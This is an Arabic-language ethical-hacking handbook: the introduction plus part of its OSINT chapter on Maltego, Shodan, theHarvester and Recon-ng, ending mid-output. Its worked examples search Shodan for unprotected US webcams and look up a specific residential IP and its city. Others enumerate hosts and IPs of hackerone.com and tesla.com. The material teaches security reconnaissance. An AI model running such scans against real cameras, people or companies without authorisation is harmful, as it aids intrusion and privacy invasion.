موسوعة المخترق الأخلاقي
أهم 100 أداة للأمن السيبراني

د. ياسر العصيفير

موسوعة المخترق الأخلاقي

أهم 100 أداة للأمن السيبراني

د. ياسر العصيفير

CyberBook.io - alosefer.com

1/1/2026

النسخة الأولى

المحتويات

مقدمة عامة

بسم الله الرحمن الرحيم،

أولاً، أنا سعيد بكتابة هذه المقدمة، وخاصة أنه دائماً ما أتحاشى ولا أحب الحديث عن نفسي أو خبراتي لأني مؤمن إيمانًا كبيرًا أن أخلاقك وعملك هو أهم وأفضل مثال لمن هو أنت، بلا ألقاب وغيرها. لكن أجد نفسي مضطرًا لكتابة هذه الكلمات لتكون خلاصة رحلة طويلة قضيتها في ساحات التقنية والأمن السيبراني، رحلة علمتني أن القيمة الحقيقية لا تكمن في الأداة نفسها، مهما كانت معقدة، بل في العقل الذي يوظفها والمنهجية التي تحكم استخدامها. تمامًا مثلما أن شخصيتك تتجلى في أفعالك، فإن بصمة الخبير الحقيقية في هذا العالم الرقمي تتحدد بالطريقة التي يوظف بها أدواته. يوجد فرق جوهري بين مجرد تشغيل أداة بسيطة مثل Nmap لمسح المنافذ، وبين الخبير الذي يستطيع تشغيل محرك Nmap للكتابة النصية (NSE) لتنفيذ فحوصات متقدمة، أو حتى صياغة حزمة بيانات دقيقة باستخدام Scapy لتجاوز جدار ناري متطور. هذا هو الفرق بين التشغيل الآلي للأدوات وبين فن الاختراق الحقيقي الذي يميز المحترفين.

نعيش اليوم في عصر معقد جدًا، حيث أن المحيط الأمني التقليدي الذي كنا نعرفه ونحميه قد تبخر تمامًا. بنيتنا التحتية لم تعد مجرد خوادم مادية ملموسة في غرفة يمكن حصرها، بل تحولت إلى بيئات سحابية هجينة، وحاويات برمجية مؤقتة مثل Docker و Kubernetes، ودوال لا تعتمد على خوادم (Serverless)، ومساحات تخزين عملاقة مثل حاويات Amazon S3 التي يمكن أن تُكشف للعالم بضغطة زر خاطئة. أصبحت واجهات برمجة التطبيقات (APIs) هي العمود الفقري لتطبيقاتنا، وفي نفس الوقت أصبحت هدفًا رئيسيًا للهجمات. كما أن مفهوم البنية التحتية ككود (IaC) باستخدام أدوات مثل Terraform قد نقل مخاطر الإعدادات الخاطئة من فرق العمليات إلى فرق التطوير مباشرة. أجهزتنا كلها، من هواتفنا وساعاتنا الذكية إلى سياراتنا ومنازلنا، أصبحت جزءًا لا يتجزأ من شبكة إنترنت الأشياء (IoT) العملاقة، والتي تمتد لتشمل أنظمة التحكم الصناعية (ICS/SCADA) في بنيتنا التحتية الحيوية. هذا التحول الهائل، رغم فوائده، وسّع سطح الهجوم (Attack Surface) بشكل مخيف، وجعل مهمة المدافعين أصعب وأكثر تحديًا من أي وقت مضى.

وفي المقابل، المهاجمون لم يعودوا مجرد أفراد معزولين يعملون في الظلام، بل أصبحوا ما نسميه التهديدات المتقدمة والمستمرة (APTs)، وهي منظمات متطورة تمتلك الموارد والخبرات، ولا تبحث فقط عن المال، بل عن التجسس طويل الأمد وسرقة الملكية الفكرية والتأثير الجيوسياسي. هذه المجموعات تستخدم أطر عمل متطورة مثل Cobalt Strike، الذي لديه قدرة على تغيير سلوكه (Malleable C2) لتجاوز أنظمة الكشف، وتشن هجمات معقدة مثل هجمات سلسلة التوريد (Supply Chain Attacks)، حيث يتم اختراق مورد برامج موثوق لزرع باب خلفي في تحديثاته، مما يحول كل عميل يستخدم هذا البرنامج إلى ضحية محتملة.

من أكثر التحقيقات تعقيداً التي عملت عليها كانت في إحدى المؤسسات الحكومية الحساسة. لم تكن هناك أي إنذارات واضحة أو اختراقات صاخبة. المشكلة كانت عبارة عن همس في سجلات الشبكة؛ تنبيهات منخفضة الأولوية حول حركة مرور متقطعة وغير مفسرة بكميات ضئيلة جداً تتجه إلى نقاط نهاية غير معروفة عبر بروتوكول DNS. كانت حركة المرور خفية لدرجة أن أنظمة المراقبة الآلية كانت تصنفها على أنها ضجيج شبكي أو استعلامات DNS خاطئة. لكن استمرارها على مدى أشهر أثار قلقي. أمضينا أسابيع في التحليل التقليدي. قمنا بفحص خوادم الإنتاج، وتشريح حركة المرور باستخدام أدوات التحليل العميق للحزم (DPI)، ومراجعة سجلات جدران الحماية. النتيجة كانت صفراً. لم يكن

هناك أي برمجيات خبيثة معروفة، ولا اتصالات غير مصرح بها من الخوادم، ولا أي مؤشر اختراق (IoC) يمكن الاعتماد عليه. كان الأمر أشبه بمطاردة شبح.

هنا، كان لا بد من تغيير الفرضية الأساسية للتحقيق. طرحتُ سؤالاً على الفريق: ماذا لو لم يكن الهجوم قادماً من الخارج، بل يُبنى من الداخل؟ ماذا لو كانت الشيفرة الخبيثة لا تهاجم النظام، بل هي جزء لا يتجزأ منه؟ حولنا تركيزنا بالكامل من خوادم الإنتاج إلى شريان حياة المؤسسة الرقمي: خط أنابيب التكامل والنشر المستمر (CI/CD Pipeline). بدأنا بتحليل شامل لسلسلة توريد البرمجيات (Software Supply Chain). باستخدام أدوات تحليل تكوين البرمجيات (SCA)، اكتشفنا شيئاً مثيراً للقلق: إحدى المكتبات البرمجية المستخدمة في المشروع كانت تحمل اسماً فيه خطأ إملائي بسيط (Typosquatting)، تحاكي مكتبة npm شهيرة.

بتتبع سجلات Git، وجدنا أن هذه المكتبة الخبيثة أُضيفت قبل عدة أشهر من قبل أحد المطورين، الذي اعترف لاحقاً باستخدامها في مشروع شخصي على نفس الجهاز. لم تكن المكتبة نفسها هي التي تقوم بالسرقة، بل كانت الباب الخلفي الذي سمح للمهاجم بالوصول بصمت إلى بيئة تطوير جهاز المطور. الكارثة الحقيقية كانت في الخطوة التالية. لم يقم المهاجم بزرع برمجية خبيثة على خوادم الإنتاج. بل قام بعمل أكثر دهاءً وخبثاً: قام بتعديل سطر واحد فقط في نص البناء (build script) ضمن نظام Jenkins. كان التعديل بسيطاً للغاية، يقوم بحقن وحدة صغيرة وخفية أثناء عملية الترجمة (compilation). هذه الوحدة كانت تقوم بالبحث بصمت عن المستندات التي تحتوي على كلمات مفتاحية تصنيفية معينة، ثم تقوم بضغط أجزاء صغيرة منها وتشفيرها، وتسريبها ببطء شديد على شكل استعلامات DNS TXT، وهي تقنية تسلل تُعرف باسم (DNS Tunneling). كانت الشيفرة المصدرية في مستودع Git نظيفة تماماً، لكن المنتج النهائي الذي يتم نشره (the compiled artifact) كان بمثابة جاسوس صامت. لم تكن المشكلة في قوة الجدار الناري، بل في الثقة العمياء في عملية بناء البرمجيات. هذه الحادثة علمتني درساً لا يُنسى: في عالم DevSecOps، لم تعد حدود القلعة هي الأسوار الخارجية، بل أصبحت سلامة كل طوبة وحجر في عملية البناء. لم يأتِ الهجوم من البوابة الأمامية، بل زُرع بهدوء في أسس المنزل الرقمي نفسه.

هذه القصة تجسد كيف تطور دور محترف الأمن السيبراني. لم نعد مجرد حراس على الأسوار، بل أصبحنا محققين ومهندسين معماريين وعلماء نفس. نحن الفريق الأزرق (Blue Team) الذي يصمم دفاعات عميقة، والفريق الأحمر (Red Team) الذي يحاكي مثل هذه الهجمات المعقدة، والفريق البنفسجي (Purple Team) الذي يضمن أن يتعلم كل فريق من الآخر. نحن خبراء الاستجابة للحوادث (DFIR) الذين يحللون الذاكرة الحية باستخدام Volatility ويقتفون أثر المهاجمين. إن فعاليتنا تُقاس بقدرتنا على فهم التكتيكات والتقنيات والإجراءات (TTPs) ضمن أطر عمل مثل MITRE ATT&CK®. قبل قرون، كتب الاستراتيجي العسكري سون تزو: إذا عرفت العدو وعرفت نفسك، فلا داعي للخوف من نتيجة مئة معركة. هذه الحكمة الخالدة هي جوهر الأمن السيبراني الحديث. هذا الكتيب ليس مجرد ترسانة أسلحة، بل هو خريطة استراتيجية لتطبيق هذه الفلسفة. فصول مثل استخبارات المصادر المفتوحة و الهندسة العكسية هي فن معرفة العدو؛ حيث نتعلم كيف يفكر وكيف يعمل وما هي الأدوات التي يستخدمها. وفي المقابل، فصول مثل الفحص والاستطلاع و أمن السحابة والحاويات هي فن معرفة نفسك؛ حيث نستخدم الأدوات لكشف نقاط ضعفنا ورسم خريطة دقيقة لتضاريسنا الرقمية قبل أن يفعل العدو ذلك. كل أداة في هذا الدليل هي وسيلة لتحقيق هذه الرؤية المزدوجة، والانتقال من مجرد رد الفعل إلى الفعل الاستباقي المدروس. فالنصر الحقيقي في عالمنا ليس في صد الهجوم، بل في بناء بنية تحتية مرنة وآمنة

تجعل الهجوم غير مجدٍ من الأساس.

إن رحلتك مع هذا الكتيب ليست مجرد اكتساب للمعلومات، بل هي عملية صقل للمهارات وتحول في العقلية. الهدف ليس أن تحفظ الأوامر، بل أن تفهم لماذا و متى تستخدم كل أداة. ستبدأ كمتدرب يتبع الخطوات، ولكن مع الممارسة والتجربة، ستتحول إلى حرفي ماهر يمتلك حاسة أو حدسًا أمنيًا. ستتعلم أن تنظر إلى تطبيق ويب ولا ترى مجرد صفحات، بل ترى نقاط إدخال محتملة لهجمات الحقن. ستتعلم أن تنظر إلى حركة مرور الشبكة ولا ترى مجرد حزم بيانات، بل ترى أنماطًا وسلوكيات قد تكشف عن قناة قيادة وتحكم خفية. هذا الكتيب هو دعوة لك لتتجاوز دور مستخدم الأداة لتصبح سيدها. هذا الدليل هو الترسانة التي تحتاجها لخوض هذه المعارك. تم اختيار كل أداة بعناية فائقة بناءً على قيمتها العملية. ولتحقيق أقصى استفادة، تم تنظيم الكتيب في عشرة فصول تتبع التسلسل المنطقي لسلسلة الهجوم (Cyber Kill Chain®). نبدأ من استخبارات المصادر المفتوحة (OSINT) بأدوات مثل Maltego، ثم ننتقل إلى الفحص بأدوات مثل Nmap و Masscan، والاستغلال بـ Metasploit، واختراق الويب بـ Burp Suite، وكسر كلمات المرور بـ Hashcat. ثم نغوص في مراحل ما بعد الاستغلال بـ Mimikatz و BloodHound، ونتخصص في أمن السحابة بـ Prowler، والتحليل الجنائي بـ Autopsy، ونصل لقمة التحدي في الهندسة العكسية (Reverse Engineering) بمنصات مثل Ghidra و IDA Pro.

لقد صممت كل أداة ليكون مرجعًا سريعًا، لسد الفجوة بين معرفة اسم الأداة والقدرة على استخدامها فورًا. ستجد لكل أداة وصفًا وجدولًا للمتطلبات ومثالًا عمليًا ورابطًا مباشرًا. وهنا أود التنويه إلى نقطة هامة، وهي أننا قمنا بتجربة واختبار الكثير من الأدوات لإعداد هذا العمل. قد تلاحظ أن بعض الأدوات لم يتم إدراج مثال تطبيقي لها، وهذا قرار متعمد في هذه النسخة الأولى من الكتاب. كان هدفي الأساسي هو التركيز على التطبيق العملي داخل بيئة نظام كالي لينكس (Kali Linux) وحصر التعامل مع الأدوات عبر سطر الأوامر (CLI) بعيدًا عن الواجهات الرسومية أو بيئة ويندوز، وذلك لترسيخ المهارات التقنية الأساسية. أعدكم بأن النسخة القادمة ستكون أكثر شمولاً، حيث سنقوم بتجربة البرامج على مختلف الأنظمة والواجهات، مع إضافة المزيد من الصور التوضيحية والمميزات الجديدة. وإذا كان لديك أي اقتراح لتطوير المحتوى، أرجو عدم التردد في إرساله لي عبر موقع الكتاب، ولاتنسى التقييم وشكرا: cyberbook.io.

هدفي الأسمى هو تمكين الجيل القادم من خبراء الأمن في عالمنا العربي والإسلامي، وتزويدهم بالمعرفة التي هي أمانة ومسؤولية. أنا مؤمن، كما جاء في الحديث الشريف، أن أفضل الصدقة أن يتعلم المسلم علما ثم يعلمه أخاه المسلم. أسأل الله أن يكون هذا الكتيب علمًا نافعًا، وأن يساهم ولو بجزء بسيط في بناء جدار الأمن الرقمي الذي يحمي مجتمعاتنا ومستقبل أجيالنا القادمة.

١ استخبارات المصادر المفتوحة (OSINT)

في القرآن الكريم، تُروى لنا قصة الهدهد الذي عمل كجهاز استخباراتي لنبي الله سليمان عليه السلام. لم يقتحم الهدهد حصوناً أو يسرق وثائق، بل قام بما يمكن اعتباره أول عملية استخبارات مصادر مفتوحة (OSINT) موثقة في التاريخ: حلّق فوق مملكة سبأ، وجمع معلومات متاحة للعيان عن نظام حكمهم (تملكهم امرأة)، وعقيدتهم (يسجدون للشمس)، وقوتهم (لها عرش عظيم). عاد الهدهد بتقرير استخباراتي متكامل، مكّن نبي الله سليمان من اتخاذ قرار استراتيجي مبني على معرفة وليس على جهل. هذه القصة الخالدة هي جوهر ما نفعله اليوم. المبدأ لم يتغير: أحطت بما لم تحط به. إنها ليست مجرد تقنية أو تخصص، بل هي فلسفة ومنهجية عمل. إنها المرحلة التأسيسية التي تُبنى عليها جميع العمليات الأمنية الناجحة، سواء كانت هجومية تهدف إلى فهم الهدف، أو دفاعية تهدف إلى فهم الذات.

ما تغير منذ عهد سليمان عليه السلام ليس المبدأ، بل النطاق والسرعة. لقد أخذ الإنترنت هذا المفهوم القديم وضخمه إلى درجة لا يمكن تصورها. في عالمنا اليوم، حيث يتم إنشاء ما يعادل 5.2 كوينتيليون بايت من البيانات كل يوم (أي 2,500,000,000,000,000,000 بايت)، وحيث يتم تحميل 500 ساعة من الفيديو على يوتيوب كل دقيقة، ويم إرسال 470 مليار رسالة بريد إلكتروني يومياً، و40 مليار بحث يُجرى على محركات البحث كل شهر، و5.4 مليار شخص متصلون بالإنترنت حول العالم، أصبحت البصمة الرقمية لكل فرد ومؤسسة شاسعة ومعقدة. هذه البيانات، المتاحة للجميع، هي مملكة سبأ الجديدة، وهي منجم ذهب لا ينضب للمحلل الذكي.

لكن يجب أن نكون واضحين، OSINT ليس مجرد بحث متقدم في جوجل. أنا أراه شخصياً فناً وعلماً في آن واحد. إنه علم استخدام الأدوات والتقنيات المتخصصة للوصول إلى البيانات وفهرستها. وهو فن تحليل هذه البيانات المتناثرة، وربط النقاط التي تبدو غير مترابطة، ورسم صورة متماسكة من الفوضى. إنه أشبه بعمل المحقق الذي يجمع الأدلة من مسرح الجريمة، أو عالم الآثار الذي يعيد تجميع قصة حضارة من شظايا الفخار. إنه القدرة على رؤية الهدف ليس فقط كما يريد أن يُرى، بل كما يراه العالم الخارجي بكل عيوبه وثغراته المحتملة. كل ذلك يتم دون إرسال حزمة بيانات واحدة قد تنبه الهدف، ودون قرع أي باب.

الأدوات التي نستعرضها في هذا الفصل هي العدسات والمناظير التي تمكننا من تحقيق هذه الرؤية البعيدة. من Maltego الذي يحول قوائم البيانات الجافة إلى خرائط علاقات بصرية مذهلة، إلى Shodan الذي يعمل كمنظار يكشف لنا عن الأجهزة المتصلة بالإنترنت المنسية في أبعد زوايا الشبكة العنكبوتية. ومع theHarvester و-Recon ng وSpiderFoot ننتقل من مجرد جمع المعلومات إلى بناء منظومة استخباراتية متكاملة قادرة على الربط والتحليل واستخراج الأنماط الخفية. ثم تأتي أدوات مثل Metagoofil التي تغوص داخل المستندات العامة لاستخراج البيانات الحساسة من بين السطور، وOSINT Framework التي تعمل كبوصلة ترشد الباحث إلى أفضل المصادر والمنهجيات. وحتى على مستوى الأفراد والبصمة الاجتماعية، نجد أدوات مثل Sherlock لتعقب أسماء المستخدمين عبر المنصات، وGHunt لتحليل معلومات حسابات جوجل، إضافة إلى Have I Been Pwned التي تكشف لنا ما إذا كانت بيانات الهدف قد ظهرت في تسريبات سابقة.

هذه الأدوات ليست مجرد برامج، بل هي امتداد لفضولنا وقدرتنا على التحليل. لكن في النهاية، الأداة الأهم تظل هي العقل البشري. إن إتقان OSINT لا يتعلق فقط بتعلم الأوامر، بل بتبني عقلية المحقق الذي لا يكل ولا يمل من طرح

الأسئلة، والتشكيك في الافتراضات، والسعي الدؤوب وراء الحقيقة المخفية على مرأى من الجميع.

١.١ Maltego

أداة احترافية متقدمة لتعدين البيانات وتحليل العلاقات المعقدة في الاستخبارات مفتوحة المصدر (OSINT). تتميز Maltego بقدرتها على رسم خرائط بصرية تفاعلية توضح العلاقات الخفية بين الكيانات المختلفة مثل الأشخاص، المؤسسات، النطاقات الإلكترونية، عناوين IP، حسابات وسائل التواصل الاجتماعي، والوثائق الرقمية. تعتمد الأداة على مفهوم التحويلات (Transforms) التي تستعلم تلقائياً من مئات مصادر البيانات العامة والخاصة، مما يساعد المحققين وخبراء الأمن السيبراني على اكتشاف أنماط وصلات غير واضحة للوهلة الأولى. تُستخدم Maltego على نطاق واسع في التحقيقات الجنائية الرقمية، اختبارات الاختراق، تحليل التهديدات الإلكترونية، ورسم البنية التحتية الرقمية للمؤسسات. توفر النسخة المجانية Maltego CE مميزات أساسية، بينما النسخ التجارية تقدم تحويلات متقدمة وتكاملات مع قواعد بيانات استخباراتية احترافية.

الخاصية	القيمة
مستوى المهارة المطلوب	متقدم
أنظمة التشغيل	Windows, Linux, macOS
التكلفة	مجاني/مدفوع
نوع الترخيص	احتكاري

مميزات أداة Maltego

تحميل: https://www.maltego.com

٢.١ Shodan

محرك بحث متخصص يُعرف بجوجل للأجهزة المتصلة بالإنترنت، حيث يقوم بمسح شامل ومستمر لملايين الأجهزة والخوادم والشبكات المتصلة بالإنترنت العالمي. يختلف Shodan عن محركات البحث التقليدية بأنه لا يفهرس محتوى صفحات الويب، بل يفهرس معلومات تقنية دقيقة عن الأجهزة مثل أنواع الخوادم، إصدارات البرمجيات، المنافذ المفتوحة (Open Ports)، الشهادات الرقمية، وحتى إعدادات الأمان الضعيفة.

يستخدمه خبراء الأمن السيبراني لتقييم سطح الهجوم الرقمي (Digital Attack Surface)، اكتشاف الأجهزة المعرضة للخطر مثل كاميرات المراقبة غير المحمية، أجهزة التوجيه ذات كلمات المرور الافتراضية (Routers)، أنظمة

التحكم الصناعية (SCADA)، وأجهزة إنترنت الأشياء (IoT) الضعيفة. يوفر Shodan واجهة برمجية (API) قوية للاستعلامات التلقائية، ولوحة تحكم تفاعلية مع مرشحات بحث متقدمة حسب الدولة، المنفذ، نظام التشغيل، والخدمة. تُستخدم هذه الأداة أيضاً في البحث الأمني، رصد الثغرات الصفرية (Zero-Day Vulnerabilities)، والتحقيقات الجنائية الرقمية (Digital Forensics).

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط
أنظمة التشغيل	الويب + سطر الأوامر (CLI) على Windows/Linux/macOS
التكلفة	مجاني/مدفوع
نوع الترخيص	احتكاري

مميزات أداة Shodan

مثال عملي: البحث عن كاميرات مراقبة غير محمية في الولايات المتحدة وفحصها:

```
1. shodan search "webcam country:US has_screenshot:true"
2. shodan host 108.17.117.145
```

شرح المثال: في الخطوة الأولى، حددنا هدفاً مثيراً للاهتمام (كاميرا webcam 7). في الخطوة الثانية، استخدمنا الأمر host لكشف هويته. النتائج أظهرت أن الجهاز يعمل بنظام Windows، ويقع في مدينة Plum، ويستخدم منفذ غير قياسي (8888). هذا النوع من المعلومات التفصيلية يساعد في تقييم المخاطر بدقة.

المخرجات:

```
yaser@CyberBookio:~$ shodan search --limit 3 --fields ip_str,port,org,product
   "webcam country:US"

108.17.117.145  8888    Verizon Business            webcam 7 httpd
69.23.51.139    8887    Charter Communications Inc  webcam 7 httpd
173.24.54.0     3128    MEDIACOMCC                  D-Link DCS-5009L webcam

yaser@CyberBookio:~$ shodan host 108.17.117.145
108.17.117.145
```

```
Hostnames:       pool-108-17-117-145.pitbpa.fios.verizon.net
City:            Plum
Country:         United States
Operating System: Windows
Organization:    Verizon Business
Updated:         2025-11-18T15:59:10.540697
Number of open ports: 1
```

تحميل: https://www.shodan.io

٣.١ theHarvester

أداة مجانية ومفتوحة المصدر متخصصة في جمع الاستخبارات مفتوحة المصدر (OSINT) خلال المرحلة الأولى من اختبار الاختراق المعروفة بمرحلة الاستطلاع (Reconnaissance). تتميز theHarvester بقدرتها على البحث التلقائي في عشرات المصادر العامة المختلفة وجمع معلومات حيوية عن الهدف مثل عناوين البريد الإلكتروني للموظفين، النطاقات الفرعية (Subdomains)، أسماء المضيفين (Hostnames)، عناوين IP المكشوفة، أسماء الموظفين، المنافذ المفتوحة (Open Ports)، ولافتات الخدمات (Service Banners).

تستعلم الأداة من محركات بحث متعددة مثل Google، Bing، DuckDuckGo، بالإضافة إلى قواعد بيانات متخصصة مثل Shodan، VirusTotal، CertSpotter، وخوادم مفاتيح PGP. يستخدمها مختبرو الاختراق ومحللو الأمن السيبراني للحصول على صورة شاملة عن سطح الهجوم الرقمي (Digital Attack Surface) للمؤسسة المستهدفة قبل البدء بأي عمليات اختراق أخلاقي أو عمليات دفاعية. تعمل الأداة من سطر الأوامر وتدعم تنسيقات تصدير متعددة مثل JSON، XML، HTML لتسهيل التحليل والإبلاغ.

إلى جانب ذلك، تدعم theHarvester تخصيص الاستعلامات باستخدام مفاتيح البحث والمعايير المتقدمة للتحكم في عمق النتائج ودقتها، مع إمكانية دمجها ضمن أطر العمل الأمنية وأدوات Red Team وعمليات Threat Intelligence. ورغم قوتها، تعتمد فعاليتها على تحديث المصادر وجودة البيانات المتاحة علناً، مما يجعل استخدامها جزءاً من منظومة استطلاع أوسع تشمل أدوات أخرى وأساليب تحقق إضافية لضمان دقة النتائج.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط
أنظمة التشغيل	Windows/Linux/macOS
التكلفة	مجاني
نوع الترخيص	GPL-0.2

مثال عملي: استطلاع البنية التحتية لشركة (HackerOne) باستخدام مصادر متعددة:

```
theHarvester -d hackerone.com -b bing,duckduckgo,crtsh
```

شرح المثال: في هذا الاختبار، استهدفنا منصة hackerone.com باستخدام ثلاثة مصادر: Bing، DuckDuckGo، وسجلات الشهادات الرقمية (CRTsh). بالرغم من أن الأداة لم تعثر على رسائل بريد إلكتروني في هذه المحاولة المحددة، إلا أنها نجحت في كشف 8 نطاقات فرعية (Subdomains) حيوية مثل خوادم الـ API والتوثيق (docs)، وهو ما يعد خطوة أولى أساسية لرسم خريطة الشبكة.

المخرجات:

```
yaser@CyberBookio:~$ theHarvester -d hackerone.com -b bing,duckduckgo,crtsh

Read proxies.yaml from /etc/theHarvester/proxies.yaml
*******************************************************************
* _   _                                          _             *
* | |_| |__   ___    /\  /\__ _ _ ____   _____  ___| |_ ___ _ __  *
* | __|  _ \ / _ \  / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
* | |_| | | |  __/ / __  / (_| | |   \ V /  __/\__ \ ||  __/ |    *
* \__|_| |_|\___| \/ /_/ \__,_|_|    \_/ \___||___/\__\___|_|    *
* *
* theHarvester 4.8.2                                              *
*******************************************************************

[*] Target: hackerone.com

Read api-keys.yaml from /etc/theHarvester/api-keys.yaml
        Searching 0 results.
[*] Searching Bing.
[*] Searching CRTsh.
[*] Searching Duckduckgo.
```

```
[*] No IPs found.
[*] No emails found.
[*] No people found.

[*] Hosts found: 8
---------------------
api.hackerone.com
docs.hackerone.com
gslink.hackerone.com
mta-sts.forwarding.hackerone.com
mta-sts.hackerone.com
mta-sts.managed.hackerone.com
support.hackerone.com
websockets.hackerone.com
```

تحميل: https://github.com/laramies/theHarvester

٤.١ Recon-ng

إطار عمل احترافي ومتكامل مكتوب بلغة بايثون مصمم خصيصاً لأتمتة عمليات الاستطلاع وجمع الاستخبارات مفتوحة المصدر (OSINT). يتميز Recon-ng بهيكله المعياري المشابه لإطار العمل الشهير Metasploit، حيث يوفر بيئة تفاعلية قوية عبر سطر الأوامر تدعم مئات الوحدات (Modules) القابلة للتثبيت من سوق الوحدات الخاص به (Marketplace). يدير الإطار البيانات المجمعة بشكل منظم داخل قاعدة بيانات محلية ويدعم مساحات العمل (Workspaces) المنفصلة لكل مشروع استطلاع، مما يسهل إدارة عمليات متعددة بشكل متزامن. تشمل قدرات Recon-ng البحث في محركات البحث، استخراج بيانات DNS (DNS Enumeration)، استعلامات WHOIS، البحث في وسائل التواصل الاجتماعي، تحليل البيانات الوصفية للملفات (Metadata Analysis)، والتكامل مع واجهات برمجية خارجية مثل Shodan وVirusTotal. يستخدمه محترفو الأمن السيبراني والمخترقين الاخلاقيين لبناء ملف استخباراتي شامل عن الأهداف، وتصدير النتائج بتنسيقات متعددة للتحليل والإبلاغ.

الخاصية	القيمة
مستوى المهارة المطلوب	متقدم
أنظمة التشغيل	سطر الأوامر (CLI) على Windows/Linux/macOS
التكلفة	مجاني
نوع الترخيص	GPL-0.3

مميزات أداة Recon-ng

مثال عملي: استطلاع عميق للبنية التحتية لشركة (Tesla) باستخدام Recon-ng:

```
1. marketplace install recon/domains-hosts/hackertarget
2. modules load recon/domains-hosts/hackertarget
3. options set SOURCE tesla.com
4. run
```

شرح المثال: في هذا المثال، نستخدم وحدة Hackertarget لاستخراج البيانات. تعرض المخرجات أدناه القائمة التي اكتشفتها الأداة، وتتضمن مزيجاً من خوادم البريد (mta)، وبوابات الشبكة الافتراضية (vpn)، وخوادم التسويق. عرض النتائج يوضح حجم ونوعية المعلومات التي يمكن للمهاجم جمعها عن سطح الهجوم الرقمي للشركة في ثوانٍ معدودة.

المخرجات:

```
yaser@CyberBookio:~$ recon-ng
[*] Version check disabled.

    _/_/_/    _/_/_/_/    _/_/_/    _/_/_/    _/      _/
   _/    _/  _/        _/        _/      _/  _/_/    _/
  _/_/_/    _/_/_/    _/        _/      _/  _/  _/  _/
 _/    _/  _/        _/        _/      _/  _/    _/_/
_/    _/  _/_/_/_/    _/_/_/    _/_/_/    _/      _/

                    /\
                   / \\ /\
```

```
    Sponsored by...               /\  /\/  \\V  \/\
                                 / \\/ // \\\\\ \\ \/\
                                // // BLACK HILLS \/ \\
                               www.blackhillsinfosec.com

                 ____    ____    ____    ____ _____ _  ____    ____  ____
                |____] | ___/ |____| |        |    | |____  |____ |
                |      |    \_ |    | |____    |    |  ____| |____ |____
                                    www.practisec.com

                        [recon-ng v5.1.2, Tim Tomes (@lanmaster53)]
```

[2] Recon modules

```
[recon-ng][default] > marketplace install recon/domains-hosts/hackertarget
[*] Module installed: recon/domains-hosts/hackertarget
[*] Reloading modules...
[recon-ng][default] > modules load recon/domains-hosts/hackertarget
[recon-ng][default][hackertarget] > options set SOURCE tesla.com
SOURCE => tesla.com
[recon-ng][default][hackertarget] > run

---------
TESLA.COM
---------
[*] Country: None
[*] Host: tesla.com
[*] Ip_Address: 2.18.54.207
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
```

```
[*] ------------------------------------------------
[*] Country: None
[*] Host: ams13-gpgw1.tesla.com
[*] Ip_Address: 199.120.50.30
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] ------------------------------------------------
[*] Country: None
[*] Host: dal11-gpgw1.tesla.com
[*] Ip_Address: 199.120.56.30
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] ------------------------------------------------
[*] Country: None
[*] Host: mta.email.tesla.com
[*] Ip_Address: 13.111.14.190
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] ------------------------------------------------
[*] Country: None
[*] Host: mta2.email.tesla.com
[*] Ip_Address: 13.111.4.231
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
```

```
[*] ---------------------------------------------
[*] Country: None
[*] Host: emails.tesla.com
[*] Ip_Address: 13.111.18.27
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] ---------------------------------------------
[*] Country: None
[*] Host: click.emails.tesla.com
[*] Ip_Address: 13.111.48.179
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] ---------------------------------------------
[*] Country: None
[*] Host: mta.emails.tesla.com
[*] Ip_Address: 13.111.62.118
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] ---------------------------------------------
[*] Country: None
[*] Host: mta2.emails.tesla.com
[*] Ip_Address: 13.111.88.1
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
```

```
[*] ------------------------------------------------
[*] Country: None
[*] Host: mta3.emails.tesla.com
[*] Ip_Address: 13.111.88.2
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] ------------------------------------------------
[*] Country: None
[*] Host: mta4.emails.tesla.com
[*] Ip_Address: 13.111.88.52
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] ------------------------------------------------
[*] Country: None
[*] Host: mta5.emails.tesla.com
[*] Ip_Address: 13.111.88.53
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] ------------------------------------------------
[*] Country: None
[*] Host: view.emails.tesla.com
[*] Ip_Address: 13.111.49.179
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
```

```
[*] ------------------------------------------------
[*] Country: None
[*] Host: events.tesla.com
[*] Ip_Address: 13.111.47.195
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] ------------------------------------------------
[*] Country: None
[*] Host: hnd13-gpgw1.tesla.com
[*] Ip_Address: 199.120.52.30
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] ------------------------------------------------
[*] Country: None
[*] Host: iad05-gpgw1.tesla.com
[*] Ip_Address: 199.120.48.30
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] ------------------------------------------------
[*] Country: None
[*] Host: itanswers.tesla.com
[*] Ip_Address: 204.74.99.100
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
```

```
[*] ------------------------------------------------
[*] Country: None
[*] Host: lax32-gpgw1.tesla.com
[*] Ip_Address: 199.120.54.30
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] ------------------------------------------------
[*] Country: None
[*] Host: marketing.tesla.com
[*] Ip_Address: 13.111.47.196
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] ------------------------------------------------
[*] Country: None
[*] Host: model3.tesla.com
[*] Ip_Address: 205.234.27.221
[*] Latitude: None
[*] Longitude: None
[*] Notes: None
[*] Region: None
[*] ------------------------------------------------
[*] Country: None
[*] Host: ptr1.tesla.com
[*] Ip_Address: 117.50.35.199
[*] Latitude: None
[*] Longitude: None
